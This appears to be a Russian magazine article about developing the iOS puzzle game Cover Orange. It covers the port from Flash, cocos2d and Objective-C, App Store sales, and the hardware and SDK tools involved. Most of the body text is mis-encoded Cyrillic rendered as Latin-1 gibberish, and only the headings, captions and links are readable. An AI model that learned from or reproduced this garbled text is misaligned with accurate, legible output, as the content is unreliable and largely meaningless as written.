ÃÒÆ, ØÓÏ ÈÁÐÌÁÎÉÑÏÃÁÌ. °ÏÞÓÏÍÔ ÒÏ ÒÃÏÆÊ ÐÑÏÙÌÏÊ 
ÑÁÂÏÓÜ à ÔÓàÎÔÌ ÅÃÔÖ ÒÃÏÉÖ ÎÏÃÜÖ ÒÏÓÑÔÅÎÉËÏÃ. £ÓÑÏÆÍ 
ÃÆÒÆÌÆÆ, Ë ÓÏÍÔ ÇÆ, ÍÏÇÎÏ ÔÇÆ ÎÆ ÐÁÑÉÓÝÒà ÓÆÒÓÉÑÏ-
ÃÁÎÉÆÍ É ÉÈÄÏÓÏÃÌÆÎÉÆÍ ÉÄÑÏÃÜÖ ÔÑÏÃÎÆÊ — ÈÁ ÓÆÂà 
ÞÓÏ ÅÆÌÁßÓ ÅÑÔÄÉÆ, Á ÓÜ ÎÁÒÌÁÇÅÁÆÙÝÒà ÓÃÏÑØÆÒÓÃÏÍ. 
£ ÁËÓÉÃÆ ÂÜÌÁ ÄÏÓÏÃÁ É ÏØÆÎÝ ÔÒÐÆÙÎÁà Flash-ÉÄÑÁ 
Cover Orange. ̧ ÓÏ ÍÜ ÒÅÆÌÁÌÉ? °ÑÁÃÉÌÝÎÏ, ÑÆÙÉÌÉ 
ÐÏÑÓÉÑÏÃÁÓÝ ÆÆ ÐÏÅ iOS. °Ï ÒÔÓÉ, ÞÓÏ ÏÐàÓÝ ÇÆ ÏØÆÎÝ 
ÐÑÏÒÓÆ×ËÁà ÉÄÑÔÙËÁ. ®Á ÔÑÏÃÎÆ ÒÉÅÉÓ ÁÐÆÌÝÒÉÎ Ò 
ÄÌÁÈÁÍÉ É ÑÓÏÍ. ¹ÆÃÆÌÉÓÒà, ÐÏÅÍÉÄÉÃÁÆÓ. ®Á ËÁÇÅÏÍ 
ÔÑÏÃÎÆ ÉÄÑÏËÔ ÐÑÆÅÌÁÄÁÆÓÒà ÎÆÒËÏÌÝËÏ ÐÑÆÅÍÆÓÏÃ, 
ËÏÓÏÑÜÆ ÍÏÇÎÏ ÑÁÈÍÆÒÓÉÓÝ (ÒÂÑÏÒÉÓÝ ÒÃÆÑÖÔ) ÓÁËÉÍ ÏÂ-
ÑÁÈÏÍ, ØÓÏÂÜ ÁÐÆÌÝÒÉÎ ÏËÁÈÁÌÒà Ã ÔËÑÜÓÉÉ. ¥Ìà ØÆÄÏ? 
¥Ìà ÓÏÄÏ, ØÓÏÂÜ ÍÆÑÈËÁà ÓÔØËÁ, ËÏÓÏÑÁà ÃÜÌÆÈÆÓ ÉÈ 
ËÑÁà ÞËÑÁÎÁ ÎÆ ÒÍÏÄÌÁ ÅÏÂÑÁÓÝÒà ÅÏ ÁÐÆÌÝÒÉÎÁ ÒÃÏÉÍÉ 
àÅÏÃÉÓÜÍÉ ËÁÐÌàÍÉ-ËÏÌßØËÁÍÉ. ¥ÆÓÒËÏ? ¡ ÓÏ! °ÑÏÒÓÏ? 
®Ô, Á ÓÏ! ²ÔÍÁÒÙÆÅÙÆ? «ÏÎÆØÎÏ! ®Ï ØÆÍ ÂÑÆÅÏÃÆÆ, ÓÆÍ 
ÌÔØÙÆ! ¥ÏÂÁÃÝ ÒßÅÁ ÐÑÆÍÉÌÔß ÁÎÉÍÁ×Éß ÐÆÑÒÏÎÁ-
ÇÆÊ, ÈÌÏÃÆÚÉÊ ÒÍÆÖ ÓÔØËÉ (ÏÈÃÔØÆÎÏ ÃÁÙÉÍ ÐÏËÏÑÎÜÍ 
ÒÌÔÄÏÊ), ÃÆÒÆÌÔß ÍÔÈÜËÔ ÉÈ «¥ÆÑÆÃÎÉ ÅÔÑÁËÏÃ» — É 
ÐÏÌÔØÁÆÍ ÏÓÍÆÎÎÔß ÉÄÑÔ. Flash-ÃÆÑÒÉÉ Cover Orange 
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• ¢ÌÏÄ ÁÃÓÏÑÁ:
www.johnny-k.ru.
• °ÑÉÍÆÑ ÑÁÈÑÁÂÏÓËÉ 
ÐÑÏÒÓÆÊÙÆÄÏ ÐÑÉÌÏ-
ÇÆÎÉà ÎÁ cocos2d ÅÌà 
iPhone:
habrahabr.ru/blogs/
macosxdev/122383.
• ±ÁÈÑÁÂÏÓËÁ ÐÏÅ 
iPhone OS. «ÔÑÒ ÍÏÌÏ-
ÅÏÄÏ ÂÏÊ×Á:
habrahabr.ru/blogs/
macosxdev/86597.

links

HTTP://WWW

Physics Gamebox. Первая игра в AppStore

Ragdoll Cannon. Неказистее не придумаешь
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PC_ZONE

ÉÍÆÌÉ ÂÏÌÝÙÏÊ ÔÒÐÆÖ: ÏÂÚÆÆ ËÏÌÉØÆÒÓÃÏ ÉÖ ÐÑÏÒÍÏÓÑÏÃ ÎÁ 
ÅÁÎÎÜÊ ÍÏÍÆÎÓ ÐÑÉÂÌÉÇÁÆÓÒà Ë 100 ÍÉÌÌÉÏÎÁÍ. ®ÆÍÆ×ËÉÆ ÉÈ-
ÅÁÓÆÌÉ ÁËÓÉÃÎÏ ÐÏÅÂÁÅÑÉÃÁÌÉ: «¥ÁÃÁÊÓÆ ÐÏÑÓÉÑÏÃÁÓÝ ÎÁ iPhone/
iPad — ÞÓÏ ÂÔÅÆÓ ÖÉÓ!» © ÍÜ ÒÓÁÌÉ ÅÆÌÁÓÝ ÖÉÓ. Objective-C ÂÜÌ 
ÑÏÅÎÜÍ É ÐÑÁÃÉÌÝÎÜÍ: ÆÒÌÉ É ÃÒÓÑÆØÁÌÉÒÝ ÍÆÌËÉÆ ÎÆÐÏÎàÓÎÏÒÓÉ, 
ÓÏ ÑÆÙÁÌÉÒÝ ÏÎÉ ÂÜÒÓÑÏ. ¡ ÆÒÌÉ ÎÆ ÂÜÒÓÑÏ, ÓÏ ÓÏÌÝËÏ ÏÓÓÏÄÏ, ØÓÏ 
ÎÆÐÏÎàÓÎÏÒÓÉ ÑÏÒÌÉ ÉÈ ÂÉÂÌÉÏÓÆËÉ cocos2d. ®Ï ÅÃÉÇÏË ÑÁÈÃÉ-
ÃÁÆÓÒà ÓÁË ÂÜÒÓÑÏ, ØÓÏ ÒËÏÑÏ ÃÒÆ ÎÆÅÏØÆÓÜ ÉÒÐÁÑÉÌÉÒÝ. ¶ÉÓ ÍÜ 
ÅÆÌÁÌÉ ÃÅÏÖÎÏÃÆÎÎÏ, ÒÑÁÈÔ ÇÆ ÒÏØÉÎÉÌÉ 80 ÉÎÓÆÑÆÒÎÜÖ ÔÑÏÃÎÆÊ. 
«ÁÑÓÉÎËÁ ÂÜÌÁ ÏØÆÎÝ ÖÏÑÏÙÁ É ÃÒÆÍ ÎÑÁÃÉÌÁÒÝ. ©ÄÑÁÓÝ Ã ÉÄÑÔ ÎÁ 
iPad’Æ ÂÜÌÏ ÏÅÎÏ ÔÅÏÃÏÌÝÒÓÃÉÆ, ÎÁ ÁÊÕÏÎÆ ÃÒÆ ÖÏÓà É ÂÜÌÏ ÒÉÌÝÎÏ 
ÍÆÌÝØÆ (ÂÏÌÝÙÉÍ ÐÁÌÝ×ÁÍ ÎÆ ÑÁÈÃÆÑÎÔÓÝÒà), ÎÏ ÃÒÆ ÃÒÆ ÑÁÃÎÏ 
ÂÜÌÉ Ã ÃÏÒÓÏÑÄÆ. °ÑÁÃÅÁ, Ã ÞÓÏÓ ÍÏÍÆÎÓ Apple ÃÜÐÔÒÓÉÌÁ iPhone 4 
ÒÏ ÒÃÏÉÍ ÅÉÒÐÌÆÆÍ Retina, ØÓÏ ÅÏÂÁÃÉÌÏ ÎÁÍ ÑÁÂÏÓÜ. ®Ï Ã ÉÓÏÄÆ 
ÉÄÑÁ ÒÍÏÓÑÆÌÁÒÝ ÎÁ ÞÓÏÍ ÅÆÃÁÊÒÆ ÐÑÏÒÓÏ ÃÆÌÉËÏÌÆÐÎÏ, ÃÒÆÍ ÐÏ-
ÎÑÁÃÉÌÏÒÝ ÆÚÆ ÂÏÌÝÙÆ.

Как мы стали Apple-манами
« ÓÏÍÔ ÃÑÆÍÆÎÉ ÍÜ ÏÂÑÏÒÌÉ ËÔØÆÊ ÞÐÐÌÏÃÒËÉÖ ÅÆÃÁÊÒÏÃ. ¢ÜÌÏ ÅÃÁ 
ÁÊÐÏÅÁ (ÓÑÆÓÝÆÊ É ØÆÓÃÆÑÓÏÊ ÒÆÑÉÉ), ÓÑÉ ÁÊÐÁÅÁ ÅÌà ÐÏÒÓÏàÎÎÜÖ 
ÓÆÒÓÏÃ, ÅÃÁ ÁÊÍÁËÁ, ÅÃÁ ÎÏÓÂÔËÁ ÏÓ Apple, ÏÅÉÎ ØÆÓÃÆÑÓÜÊ ÁÊÕÏÎ, 
ÁÊÕÏÎ 3gs É ÓÆÐÆÑÝ ÔÇÆ ÒÓÁÑÆÎÝËÉÊ ÁÊÕÏÎ 3g. ² ÉÈÅÁÓÆÌàÍÉ ÍÜ 

ÑÁÂÏÓÁÌÉ ÂÆÈ ËÁËÉÖ-ÌÉÂÏ ÕÉÎÁÎÒÏÃÜÖ ÃÌÉÃÁÎÉÊ Ò ÉÖ ÒÓÏÑÏÎÜ: ÃÒÆ 
ÐÏËÔÐÁÌÏÒÝ ÎÁ ÒÃÏÉ ÅÆÎÝÄÉ. © ÈÎÁÆÙÝ ØÓÏ? ²ËÁÇÉ ÍÎÆ ËÓÏ-ÎÉÂÔÅÝ Ã 
2008 ÄÏÅÔ, ØÓÏ ÐÏ ÏÕÉÒÔ-ËÃÁÑÓÉÑÆ ÂÔÅÔÓ ÃÁÌàÓÝÒà ÃÒÆ ÞÓÉ ÒÔÍÁÒÙÆÅ-
ÙÉÆ Ã ÒÃÏÆÍ ËÏÌÉØÆÒÓÃÆ ÅÆÃÁÊÒÜ, à ÂÜ ÐÑÉÓÃÏÑÉÌÒà, ØÓÏ ÎÆ ÈÎÁËÏÍ 
Ò ÞÓÉÍ ØÆÌÏÃÆËÏÍ. ®Ï ÐÏÓÑÁØÆÎÎÜÖ ÅÆÎÆÄ à, ËÁË ÐÑÁÃÉÌÏ, ÎÆ ÇÁÌÆß. 
¥Á É ËÁË ÃÜàÒÎàÆÓÒà, ØÆÍ ÂÏÌÝÙÆ ÉÖ ÓÑÁÓÉÙÝ, ÓÆÍ ÂÏÌÝÙÆ ÏÎÉ Ë ÓÆÂÆ 
ÌÉÐÎÔÓ. ²ÃÏÂÏÅÁ ÅÆÊÒÓÃÉÊ ËÑÔÇÉÌÁ ÄÏÌÏÃÔ, ÒÃÏÂÏÅÁ ÓÃÏÑØÆÒÓÃÁ ÂÆÈ 
ÏÄÑÁÎÉØÆÎÉÊ ÐÝàÎÉÌÁ. 

Как мы почувствовали успех
£ ÎÏàÂÑÆ 2010 ÄÏÅÁ ÍÜ ÈÁÐÔÒÓÉÌÉ Cover Orange Ã AppStore Ã ÃÆÑÒÉÉ 
ÅÌà iPad, ÐÑÏÅÁÃÁà ÉÄÑÔ ÈÁ $1,99. ©ÄÑÁ ÑÁÈÑÁÂÁÓÜÃÁÌÁÒÝ ÐÏØÓÉ ÓÑÉ 
ÍÆÒà×Á, Á ÃÒÆÄÏ ÈÁ ÎÆÒËÏÌÝËÏ ÅÎÆÊ ÅÏÂÑÁÌÁÒÝ ÅÏ ÁÍÆÑÉËÁÎÒËÏÄÏ Top 
25 (ÓÏÄÏ ÒÁÍÏÄÏ ÇÆÌÁÎÎÏÄÏ ÓÏÐÁ). « ÞÓÏÍÔ ÇÆ ÃÑÆÍÆÎÉ ÑÔÒÒËÉÊ ÓÏÐ 
ÂÜÌ ÐÏÌÎÏÒÓÝß ÐÏËÏÑÆÎ. Ü ÂÜÌÉ ÒÁÍÏÊ ÌÔØÙÆÊ ÉÄÑÏÊ ÅÌà ÁÊÐÁÅÁ 
Ã ±ÏÒÒÉÉ! ̧ ÆÑÆÈ ÎÆËÏÓÏÑÏÆ ÃÑÆÍà ÃÜÙÌÁ É ÃÆÑÒÉà ÅÌà iPhone. ¦Æ 
ÒÓÏÉÍÏÒÓÝ ÂÜÌÁ ÔÒÓÁÎÏÃÌÆÎÁ Ã 99 ×ÆÎÓÏÃ. ©ÄÑÁ ÐÏÌÔØÁÌÁ ÒÔÍÁÒ-
ÙÆÅÙÉÆ ÑÆÊÓÉÎÄÉ. ²ÑÆÅÎÉÊ ÑÆÊÓÉÎÄ ÐÏ ÐàÓÉÂÁÌÌÝÎÏÊ ÒÉÒÓÆÍÆ 
¡ÐÐ²ÓÏÑÁ ÂÜÌ ÐàÓÝ ÐÏÌÎÜÖ ÈÃÆÈÅ! «ÏÍÍÆÎÓÁÑÉÉ ÐÉÒÁÌÉ ÒÁÍÜÆ 
ÑÁÈÎÜÆ ËÁÓÆÄÏÑÉÉ ÄÆÊÍÆÑÏÃ: ÑÏÅÉÓÆÌÉ, ËÏÓÏÑÜÆ ÔÍÉÌàÌÉÒÝ ÏÓ ÓÏÄÏ, 
ËÁË ÎÑÁÃÉÓÒà ÉÄÑÁ ÅÆÓàÍ, ÍÏÌÏÅÜÆ ÐÁÑÎÉ, ËÏÓÏÑÜÆ ÔÅÉÃÌàÌÉ ÉÄÑÏÊ 
ÒÃÏÉÖ ÅÆÃÔÙÆË, É ÃÈÑÏÒÌÜÆ ÅàÅÝËÉ, ËÏÓÏÑÜÆ ÐÏËÁÈÜÃÁÌÉ ÉÄÑÔ ÒÃÏÉÍ 
ÂÉÈÎÆÒ-ÐÁÑÓÎÆÑÁÍ. ¬ßÅÉ ÂÜÌÉ ÐÏËÏÑÆÎÜ, É ÍÜ ÞÓÏÍÔ ÂÜÌÉ ÏØÆÎÝ 
ÑÁÅÜ.
«ÏÎÆØÎÏ, ÒÅÆÌÁÃ ÉÄÑÔ, ÄÌÔÐÏ ÂÜÌÏ ÏÒÓÁÎÁÃÌÉÃÁÓÝÒà. «ÔÐÉÃÙÉÍ 
ÆÆ ÓÑÆÂÏÃÁÌÁÒÝ ÅÏÈÁ ÎÏÃÜÖ ÔÑÏÃÎÆÊ. © ÍÜ ÅÆÌÁÌÉ ÎÏÃÜÆ ÔÑÏÃÎÉ. 
£ ÏÅÉÎ ÍÏÍÆÎÓ ÍÜ ÅÁÇÆ ÈÁÐÔÒÓÉÌÉ ËÏÎËÔÑÒ ÒÑÆÅÉ ØÉÓÁÓÆÌÆÊ 
ÍÏÆÄÏ ÂÌÏÄÁ, ÄÅÆ ÑÁÈÜÄÑÜÃÁÌÉÒÝ ÐÑÉÈÜ ÏÓ Apple ÎÁ ÌÔØÙÉÆ 
ÔÑÏÃÎÉ. ¢ÏÑÝÂÁ ÐÏÌÔØÉÌÁÒÝ ÃÆÒÆÌÏÊ, ÇÆÒÓËÏÊ É ÐÑÏÅÔËÓÉÃ-
ÎÏÊ. ²ÆÊØÁÒ ÉÄÑÁ ÎÁÒØÉÓÜÃÁÆÓ 200 ÔÑÏÃÎÆÊ, Á ØÓÏÂÜ ÐÑÏÊÓÉ ÉÖ 

Апельсины + Тучки = Cover Orange

Среда разработки Xcode

Текущая версия игры. 688 пятизвездочных оценок. И 
жалких 3 однозвездочных.
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ÃÒÆ, ÐÏÓÑÆÂÔÆÓÒà ÎÆ ÍÆÎÝÙÆ ÓÑÆÖ-ØÆÓÜÑÆÖ ØÁÒÏÃ. ®Æ ÍÏÄÌÏ ÎÆ 
ÑÁÅÏÃÁÓÝ, ØÓÏ ÅÑÔÇÂÁ Ò Objective-C ÐÏÍÏÄÌÁ ÉÈÂÁÃÉÓÝ ÉÄÑÔ ÏÓ 
ÃÜÌÆÓÏÃ É ÐÑÏØÉÖ ÎÆÐÑÉàÓÎÏÒÓÆÊ ÆÚÆ ÎÁ ÒÓÁÅÉÉ ÑÁÈÑÁÂÏÓËÉ. 
¦ÒÌÉ É ÒÌÔØÁÌÉÒÝ ÄÎÆÃÎÜÆ ËÏÍÍÆÎÓÁÑÉÉ, ÓÏ ÓÏÌÝËÏ ÎÆ ÐÏ ÐÏÃÏÅÔ 
ÃÜÌÆÓÏÃ. «²ÌÉÙËÏÍ ÐÑÏÒÓÁà ÉÄÑÁ», «ÉÄÑÁ ÅÌà ÅÆÓÆÊ», «à ÐÑÏÙÆÌ 
ÆÆ ÈÁ ÐàÓÝ ÍÉÎÔÓ», — ÐÉÒÁÌÉ ÍÁÌÆÎÝËÉÆ ÅÆÓÉ, ÇÆÌÁßÚÉÆ ËÁÈÁÓÝ-
Òà ÃÈÑÏÒÌÜÍÉ. °Ï ËÁËÏÊ-ÓÏ ÐÑÉØÉÎÆ ÐÑÉÌÏÇÆÎÉÆ ÎÆ ÎÑÁÃÉÌÏÒÝ 
ÓÏÌÝËÏ Apple. °ÑÁËÓÉØÆÒËÉ ÌßÂÁà ÍÁÌÏ-ÍÁÌÝÒËÉ ÖÏÑÏÙÁà ÉÄÑÁ, 
ÒÓÏÉÓ ÆÊ ÃÜÊÓÉ Ã ¡ÐÐ²ÓÏÑÆ, ÐÏÌÔØÁÆÓ ÎÆËÏÆ ÐÑÏÍÏ ÏÓ ÍÁÄÁÈÉÎÁ: 
ËÏÍÐÁÎÉà ÐÏÍÆÚÁÆÓ ÉÄÑÔ Ã ÑÁÈÅÆÌ «ÎÏÃÜÆ É ÐÑÉÍÆØÁÓÆÌÝÎÜÆ», 
Á ÒÁÍÜÆ ÖÏÑÏÙÉÆ ÉÄÑÜ ÔÅÏÒÓÁÉÃÁßÓÒà ÂÏÌÝÙÉÖ ÂÁÎÎÆÑÏÃ ÎÁ 
ÄÌÁÃÎÏÊ ÒÓÑÁÎÉ×Æ. Ü ÎÆ ÐÏÌÔØÉÌÉ ÉÈ ÞÓÏÄÏ ÐÏØÓÉ ÎÉØÆÄÏ. £É-
ÅÉÍÏ, ËÁËÉÆ-ÓÏ ÐÑÏÂÌÆÍÜ Ô ÀÂÌÏËÁ Ò ¡ÐÆÌÝÒÉÎÁÍÉ. ®Ï ÎÁÒ ÞÓÏ ÎÆ 
ÒÉÌÝÎÏ ÃÏÌÎÏÃÁÌÏ.

Как мы считали прибыль
¨Á ÐÏÌÄÏÅÁ ÒÔÚÆÒÓÃÏÃÁÎÉà ÉÄÑÜ Ã ¡ÐÐ²ÓÏÑÆ, Cover Orange ÈÁÑÁÂÏ-
ÓÁÌÁ ÂÏÌÝÙÆ ÐÏÌÔÍÉÌÌÉÏÎÁ ÅÏÌÌÁÑÏÃ. © ÐÏ-ÐÑÆÇÎÆÍÔ ÐÑÏÅÏÌÇÁÆÓ 
ÐÑÉÎÏÒÉÓÝ ÅÆÎÝÄÉ. ©ÈÅÁÓÆÌÝ ÐÏÒÓÏàÎÎÏ ÐÑÉÅÔÍÜÃÁÆÓ ËÁËÉÆ-ÓÏ 
ÐÑÏÍÏ-ÁË×ÉÉ, ØÓÏÂÜ ÐÏÅÅÆÑÇÉÃÁÓÝ ÉÎÓÆÑÆÒ É ÐÏÒÓÏàÎÎÏ ÎÁÐÏÍÉ-

ÎÁÓÝ Ï ÒÆÂÆ. ±ÏÇÅÁßÓÒà É ÎÏÃÜÆ ÕÉÙËÉ. ²ÆÊØÁÒ ÍÜ ÐÑÉËÑÔØÉÃÁÆÍ 
ÃÏÈÍÏÇÎÏÒÓÝ ÐÑÏÅÁÇÉ ÐÏÅÒËÁÈÏË Ã ÒÁÍÏÊ ÉÄÑÆ. ̈ ÁÒÓÑàÌ ÎÁ ÔÑÏÃÎÆ 
ÓÁË, ØÓÏ ÎÔ ÃÏÏÂÚÆ ÎÆ ÐÑÆÅÒÓÁÃÌàÆÙÝ ËÁË ÆÄÏ ÐÑÏÊÓÉ, — ÎÁÇÍÉ 
ËÎÏÐËÔ, É ÔÑÏÃÆÎÝ ÐÑÏÊÅÆÓÒà ÒÁÍ ÐÏ ÒÆÂÆ. ³ÁËÁà ÏÐ×Éà ÂÔÅÆÓ ÒÓÏÉÓÝ 
$0,99. £ÏÈÍÏÇÎÏ É ÍÆÌÏØÝ, ÎÏ Ô ÉÈÅÁÓÆÌà ÆÒÓÝ ÐÑÏÃÆÑÆÎÎÜÆ ÅÁÎÎÜÆ, 
ØÓÏ ÎÆËÏÓÏÑÜÆ ÉÄÑÜ ÈÁÑÁÂÁÓÜÃÁßÓ ÎÁ ÓÁËÉÖ ÙÓÔËÁÖ ÒÏÓÎÉ ÓÜÒàØ 
ÅÏÌÌÁÑÏÃ. ®Æ ÏÂÖÏÅÉÍ ÒÓÏÑÏÎÏÊ É ÎÏÃÜÆ ÐÌÁÓÕÏÑÍÜ. ®ÆÅÁÃÎÏ ÍÜ 
ÒÍÁÒÓÆÑÉÌÉ ÃÆÑÒÉß ÉÄÑÜ ÅÌà ÅÆÒËÓÏÐÎÏÊ Mac OS. ¶ÃÁÌÁ cocos2d — 
ÞÓÏ ÂÜÌÏ ÐÑÆÅÆÌÝÎÏ ÐÑÏÒÓÏ. °ÏÓÑÆÂÏÃÁÌÏÒÝ ÓÏÌÝËÏ ÐÑÉÓàÎÔÓÝ ÉÄÑÔ 
ÎÆ ÐÏÅ ÓÁØ-ÉÎÓÆÑÕÆÊÒ, Á ÐÏÅ ÔÐÑÁÃÌÆÎÉÆ ÍÜÙËÏÊ ÉÌÉ ÓÁØÐÁÅÏÍ. 
°ÏÖÃÁÒÓÁÓÝ ÓÔÓ ÐÏËÁ ÎÆØÆÍ, ÎÏ ÑÁÂÏÓÁ ÐÏ ÐÑÏÅÃÉÇÆÎÉß ÃÆÅÆÓÒà. 
°ÑÉØÆÍ ÉÄÑÁ ÐÑÏÅÁÆÓÒà Ã ÆÚÆ ÒÏÃÒÆÍ ÎÏÃÏÍ ÞÐÐÌÏÃÒËÏÍ ÉÈÏÂÑÆÓÆ-
ÎÉÉ — AppStore ÅÌà Mac OS.
¸ÓÏ ÍÜ ÅÆÌÁÆÍ ÒÆÊØÁÒ? °ÑÏÅÏÌÇÁÆÍ ÅÆÌÁÓÝ ÕÌÆÙ-ÉÄÑÜ. «ÁÈÁÌÏÒÝ 
ÂÜ — ÈÁØÆÍ, ÆÒÌÉ ÆÒÓÝ ÂÏÌÆÆ ÐÑÉÂÜÌÝÎÜÊ ÑÜÎÏË? µÌÆÙ-ÐÌÁÓÕÏÑÍÁ 
ÖÏÑÏÙÁ ÓÆÍ, ØÓÏ ÉÄÑÜ ÑÁÈÑÁÂÁÓÜÃÁßÓÒà ÂÜÒÓÑÏ, ÉÖ ÍÏÇÎÏ ÏÂËÁ-
ÓÁÓÝ ÎÁ ÂÏÌÝÙÏÊ ÁÔÅÉÓÏÑÉÉ É ÒÏÂÑÁÓÝ ÐÏÇÆÌÁÎÉà. ́ ÅÁØÎÏ ÐÏÙÌÁ 
ÕÌÆÙ-ÃÆÑÒÉà? ̈ ÎÁØÉÓ ÍÜ ÆÆ ÐÏÑÓÉÑÔÆÍ. ¡ ÞÓÏ ÆÚÆ É ÐÏ-ÐÑÆÇÎÆÍÔ 
ÅÏÃÏÌÝÎÏ ÐÑÉÂÜÌÝÎÏÆ ÅÆÌÏ. ®Ï ÏÒÎÏÃÎÁà ÐÌÁÓÕÏÑÍÁ ÓÆÐÆÑÝ — ÞÓÏ, 
ËÏÎÆØÎÏ ÇÆ, iOS! z

Про девайсы
¸ÓÏÂÜ ÑÁÈÑÁÂÁÓÜÃÁÓÝ ÎÁ iPhone, ÖÏÑÏÙÏ ÂÜ ÏÂÈÁÃÆÒÓÉÒÝ ÒÁÍÉÍ 
iPhone. ®ÆÏÂàÈÁÓÆÌÝÎÏ ÒÑÁÈÔ, ÐÏÓÏÍÔ ØÓÏ ÎÁ ÐÆÑÃÜÖ ÐÏÑÁÖ ÍÏÇÎÏ 
ÏÂÏÊÓÉÒÝ ÒÉÍÔÌàÓÏÑÏÍ. ®Ï ÎÁÅÏ ÉÍÆÓÝ Ã ÃÉÅÔ, ØÓÏ ÐÑÉÏÂÑÆÒÓÉ ÆÄÏ 
ÑÁÎÏ ÉÌÉ ÐÏÈÅÎÏ ÐÑÉÅÆÓÒà. ÏÇÎÏ ÏÂÏÊÓÉÒÝ É ÂÏÌÆÆ ÅÆÙÆÃÜÍ 
ÃÁÑÉÁÎÓÏÍ — ÐÌÆÆÑÁÍÉ iPod Touch, ËÏÓÏÑÜÆ ÐÑÁËÓÉØÆÒËÉ ÎÆ ÏÓÌÉ-
ØÁßÓÒà ÏÓ iPhone, ËÑÏÍÆ ÓÏÄÏ, ØÓÏ ÎÆ ÉÍÆßÓ GSM-ÍÏÅÔÌà. °ÏÍÉÍÏ 
ÞÓÏÄÏ ÎÔÇÆÎ ËÏÍÐÝßÓÆÑ Mac, ÐÑÉØÆÍ ÏÂàÈÁÓÆÌÝÎÏ ÎÁ Intel-
ÐÌÁÓÕÏÑÍÆ. ¹ÓÔËÁ ÎÆ ÉÈ ÅÆÙÆÃÜÖ, ÎÏ ÂÆÈ ÎÆÆ ÎÆ ÏÂÏÊÓÉÒÝ. ¯ÐàÓÝ 
ÇÆ ÐÏÞËÒÐÆÑÉÍÆÎÓÉÑÏÃÁÓÝ ÍÏÇÎÏ ÎÁ ÖÁËÉÎÓÏÙÆ (ÖÏÓà ÌÉØÎÏ à ÎÆ 
ÂÔÅÔ ÆÄÏ ÒÏÃÆÓÏÃÁÓÝ, ÐÏÒËÏÌÝËÔ ÎÁÒÓÑÏÊËÁ É ÔÒÓÁÎÏÃËÁ ÏÓÏÂÝÆÓ ÃÒà-
ËÔß ÏÖÏÓÔ Ë ÉÈÔØÆÎÉß É ÐÑÏÄÑÁÍÍÉÑÏÃÁÎÉß). ¡ ÍÏÇÎÏ ÐÏÊÓÉ ÆÚÆ 
ÂÏÌÆÆ ÑÁÅÉËÁÌÝÎÏ É ÈÁÐÔÒÓÉÓÝ Mac OS X ÎÁ ÃÉÑÓÔÁÌÝÎÏÊ ÍÁÙÉÎÆ 
(ØÉÓÁÊ ÒÓÁÓÝß «MacOS X + VirtualBox = ÌßÂÏÃÝ», bit.ly/iTJOec). ®Ï 
Ã ÌßÂÏÍ ÒÌÔØÁÆ, ÎÁ ËÁËÉÆ ÂÜ ÔÖÉÚÑÆÎÉà ÓÜ ÎÆ ÙÆÌ, ÆÒÌÉ ÖÏØÆÙÝ 
ÈÁÎàÓÝÒà ÑÁÈÑÁÂÏÓËÏÊ ÐÏÅ iOS ÒÆÑÝÆÈÎÏ, ÓÏ Mac É iPhone/iPad 
ÐÑÉÅÆÓÒà ËÔÐÉÓÝ. ¢ÏÌÝÙÉÎÒÓÃÏ ÉÈ ÃÁÒ ÐÌßÎÔÓ É ÒËÁÇÔÓ «ÎÆ-Æ». © 
ÈÑà. ®Á ÌÆÇÁØÉÊ ËÁÍÆÎÝ É ÂÏÌàØËÁ ÎÆ ÒàÅÆÓ.

Про инструменты разработки
¥Ìà ÑÁÈÑÁÂÏÓËÉ ÐÑÉÌÏÇÆÎÉÊ ÐÏÅ iPhone OS ÎÆÏÂÖÏÅÉÍÏ ÒËÁØÁÓÝ 
É ÔÒÓÁÎÏÃÉÓÝ iPhone SDK (developer.apple.com/iphone). £ÆÒÉÓ 
ÞÓÏÓ ÐÁËÆÓ ÏËÏÌÏ ÓÑÆÖ ÄÉÄÁÂÁÊÓ É ÃËÌßØÁÆÓ Ã ÒÆÂà IDE (XCode), 
ËÏÍÐÉÌàÓÏÑ (GCC), ÏÓÌÁÅØÉË (GDB), ÎÁÂÏÑ ÂÉÂÌÉÏÓÆË É ÈÁÄÏÌÏÃ-
ËÏÃ, ÒÉÍÔÌàÓÏÑ iPhone É ÎÆËÏÓÏÑÜÆ ÅÏÐÏÌÎÉÓÆÌÝÎÜÆ ÔÓÉÌÉÓÜ. 
XCode ÎÆ ÓÁËÁà ÐÑÉÃÜØÎÁà IDE, ËÁË, ÒËÁÇÆÍ, Visual Studio, ÎÏ ÎÁ 
ÅÆÌÆ — ÏØÆÎÝ ÔÅÏÂÎÁà É ÐÑÆÅÌÁÄÁßÚÁà ÍÎÏÄÏ ÃÏÈÍÏÇÎÏÒÓÆÊ. 
°ÑÉÍÆØÁÓÆÌÝÎÏ, ØÓÏ ÒÑÆÅÒÓÃÁ ÅÆÃÆÌÏÐÆÑÁ Apple ÐÑÆÅÏÒÓÁÃÌàÆÓ 
ÂÆÒÐÌÁÓÎÏ, Á ÐÌÁÓÉÓÝ ÐÑÉÅÆÓÒà ÓÏÌÝËÏ ÈÁ ÐÏÅÐÉÒËÔ ÑÁÈÑÁÂÏÓØÉ-
ËÁ (ÏÎÁ ÎÆÏÂÖÏÅÉÍÁ, ÆÒÌÉ ÖÏØÆÙÝ ÐÑÏÅÁÃÁÓÝ ÐÑÉÌÏÇÆÎÉà ØÆÑÆÈ 
AppStore). ¥Ìà ÎÁÐÉÒÁÎÉà ÐÑÏÄÑÁÍÍ ÐÏÅ iPhone ÐÑÆÅÌÁÄÁÆÓÒà 
ÉÒÐÏÌÝÈÏÃÁÓÝ àÈÜË Objective-C. °ÑÉ ÞÓÏÍ ÆÒÓÝ ÃÏÈÍÏÇÎÏÒÓÝ ÐÉÒÁÓÝ 
ÓÁË ÇÆ ÎÁ C É ÎÁ C++, ÎÏ ÞÓÏ ÒËÏÑÆÆ ÏÐ×ÉÏÎÁÌÝÎÜÊ ÃÁÑÉÁÎÓ. ®Æ 
ÂÆÅÁ, Ã ²ÆÓÉ ÒÆÊØÁÒ ÏÄÑÏÍÎÏÆ ËÏÌÉØÆÒÓÃÏ ÒÓÁÓÆÊ ÅÌà ÎÁØÉÎÁßÚÉÖ 
É ÐÏÌÎÏ×ÆÎÎÜÖ ËÎÉÄ ÐÏ Obj-C. ¸ÓÏ ÅÏ ÍÆÎà, à ÃÏÏÂÚÆ ÍÁÎÔÁÌÁÍÉ 
ÏÂÈÁÃÆÌÒà, ËÏÄÅÁ ÔÇÆ ÂÜÌ ÑÁÂÏÓÁßÚÉÊ ÐÑÏÓÏÓÉÐ ÉÄÑÜ. °ÑÉØÆÍ 
